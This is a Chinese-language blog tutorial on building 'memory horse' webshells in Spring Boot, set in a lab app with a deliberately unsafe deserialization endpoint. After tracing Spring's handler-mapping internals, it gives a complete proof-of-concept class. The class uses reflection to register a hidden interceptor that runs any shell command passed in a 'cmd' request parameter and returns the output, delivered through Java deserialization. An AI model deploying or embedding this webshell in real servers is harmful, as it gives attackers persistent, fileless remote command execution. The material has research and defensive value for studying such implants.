Spring 内存马

实验环境

仍旧像介绍 tomcat 一样,目标是反序列化注入内存马。引入存在漏洞 rome 依赖。

pom.xml 主要如下:


    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.15</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    ...
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-devtools</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

控制器内容如下:

@RestController
public class IndexController {
    @RequestMapping(path = "/", method = RequestMethod.GET)
    public String index(@RequestParam(required = false) String name) {
        if (name!=null) {
            return "<h1>Hello, " + name + "!</h1>";
        }else {
            return "<h1>Hello, world!</h1>";
        }
    }
    @RequestMapping(path = "/un", method = RequestMethod.POST)
    public String un(@RequestParam String payload) {
        byte[] decode = Base64.getUrlDecoder().decode(payload);
        try(ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream)) {
            objectInputStream.readObject();
        } catch (IOException | ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        return "ok";
    }
    @RequestMapping(path = "/un", method = RequestMethod.GET)
    public String plz() {
        return "plz";
    }
}

Spring Context

与 tomcat 一样,我们必须获得 Spring 容器的环境才能够进行全局的操作。

WebApplicationContext

全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean。 我们只想办法获得这个 Context 即可。前辈研究出的方法也很多,也都是一行代码即可,这里就不再详细介绍了。直接 copy 吧 (hhh)

  • getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
  • WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
  • RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
  • getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

Controller

对 IndexController#index 的调用栈如下:

idea64_dgLL9HeQeE

然后一直找啊找啊,在 AbstractHandlerMethodAdapter#handle 发现 controller 实际是一个 handler。

idea64_cZhQhRwKXb

我们再往上一层也就是 DispatcherServlet#doDispatch 找起,发现 handler 是从 mappedHandler.getHandler() 来的

也就是

mappedHandler = this.getHandler(processedRequest);
mappedHandler.getHandler()

跟进 DispatcherServlet#getHandler,在 DispatcherServlet#getHandler 可以发现将其 handlerMappings 属性进行遍历并调用了 getHandler 方法。但是由于 HandlerMapping 是一个接口,一时间我们并不知道 getHandler 到底是干什么的。

idea64_3Bh8T5QQtL

但我们不妨注意到 DispatcherServlet 中的 handlerMappings 是存在 RequestMappingHandlerMapping 对象的

OfwduQfujj

呵呵,分析控制器有点抽象,我先画张图片,这是后面都经常出现的几个类和接口之间的关系

理清了这些类的关系我们再来看看 AbstractHandlerMapping#getHandler

idea64_WXwCseBCCl

然后从子类找起,发现是调用了 AbstractHandlerMethodMapping 的 getHandlerInternal 方法来获得 handler。

我们继续跟进 lookupHandlerMethod 方法,发现其是通过 lookupHandlerMethod 来获得 handler

idea64_FjtMTx6HxL

再看 lookupHandlerMethod 方法(这里我省略了一下无关紧要的部分代码)。可以注意到,这里会首先尝试用会通过用this.mappingRegistry.getRegistrations().keySet() (注意这里是 keys 而不是 values)来寻找匹配的的 handlerMethod。如果找不到就返回 handleNoMatch

@Nullable
    protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
        List<AbstractHandlerMethodMapping<T>.Match> matches = new ArrayList();
        ...
        if (matches.isEmpty()) {
            this.addMatchingMappings(this.mappingRegistry.getRegistrations().keySet(), matches, request);
        }

        if (matches.isEmpty()) {
            return this.handleNoMatch(this.mappingRegistry.getRegistrations().keySet(), lookupPath, request);
        } else {
            AbstractHandlerMethodMapping<T>.Match bestMatch = (Match)matches.get(0);
                ...
                matches.sort(comparator);
                bestMatch = (Match)matches.get(0);
                ...
            this.handleMatch(bestMatch.mapping, lookupPath, request);
            return bestMatch.getHandlerMethod();
        }
    }

这里的 mappingRegistry 是 AbstractHandlerMethodMapping 的一个内部类 MappingRegistry

idea64_yerRU7XE4o

而 getRegistrations 方法则是直接返回其 MappingRegistry 的 registry 属性

idea64_tHaIwe9P2F

如果我们向 mappingRegistry 添加恶意的 mappings 那么就可以完成内存马的注入。

刚好在 RequestMappingHandlerMapping 这个类中有 registerMapping 这个方法,可以让我们很方便的进行注册

idea64_hHpyHaBMuY

但是由于 Controller 内存马注入较为繁琐,且当目标环境存在 Interceptor 还会注入失败,局限性很大,不以该类型内存马考虑。下面介绍的 Interceptor 内存马就比较实用。

Interceptor

Interceptor 一个类似于 Controller 专属 Aop 的东西。

我们知道正常在 SpringBoot 中编写 Interceptor 的流程如下:

  1. 实现 HandlerInterceptor 接口
  2. 通过 WebMvcConfigurer 进行注册注入

我们继续在 Interceptor 中打下断点,可以看到它的调用栈

preHandle:17, LoggerInterceptor (link.f0rget.horse.Interceptor)
applyPreHandle:148, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:965, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
....

首先来看一下 HandlerExecutionChain#applyPreHandle 看方法名也知道这里肯定是尝试调用了 Interceptor 的 preHandle 的方法,而在 mappedHandler 竟然有我们自己定义的拦截器

idea64_iGmohQI96y

不妨往上走几行代码,看看 mappedHandler 是怎么来的,很快啊

idea64_RbeBUqviod

是调用了 HandlerExecutionChain#getHandler。然后实际在这里面是调用了 HandlerMapping#getHandler 别忘了我们前面分析控制器的那张图,HandlerMapping 是一个接口。实际上调用的是 AbstractHandlerMapping#getHandler

idea64_t2BldY5YxI

再来关注一下 AbstractHandlerMapping#getHandler,这次我们关注点发生了变化。我们跟进画红框的这行代码

idea64_281r1bxR0n

在 AbstractHandlerMapping#getHandlerExecutionChain 终于看到了获取 interceptor 并添加的过程

idea64_khOr4nkvIT

而 adaptedInterceptors 也很容易知道

idea64_7R4qa4Yc3b

那么看来,只要我们修改 AbstractHandlerMapping 中的 adaptedInterceptors 属性,添加一个恶意的 Interceptor 进去即可完成内存马的注入。不过由于这个是抽象类,我们只能像 Controller 中的思路从 RequestMappingHandlerMapping 来获得。

注入流程:

  1. 先写好一个恶意的 Interceptor。
  2. 获取 WebApplicationContext。方法比较多,也比较简单
  3. 通过 WebApplicationContext 获取 AbstractHandlerMapping
  4. 反射获得 AbstractHandlerMapping 的 adaptedInterceptors 并添加 Interceptor。

比较简单,完整的 PoC 如下:

package link.f0rget.horse;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;

/**
 * @author Shule
 * CreateTime: 2023/9/6 11:14
 */
public class Exp  extends AbstractTranslet implements HandlerInterceptor {
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        try {
            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>)adaptedInterceptorsField.get(abstractHandlerMapping);
            adaptedInterceptors.add(new Exp());
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
        String cmd = request.getParameter("cmd");
        if (cmd!=null) {
            try {
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
                return false;
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        return true;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注入一次即可成功

firefox_QkSxu3pg04

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇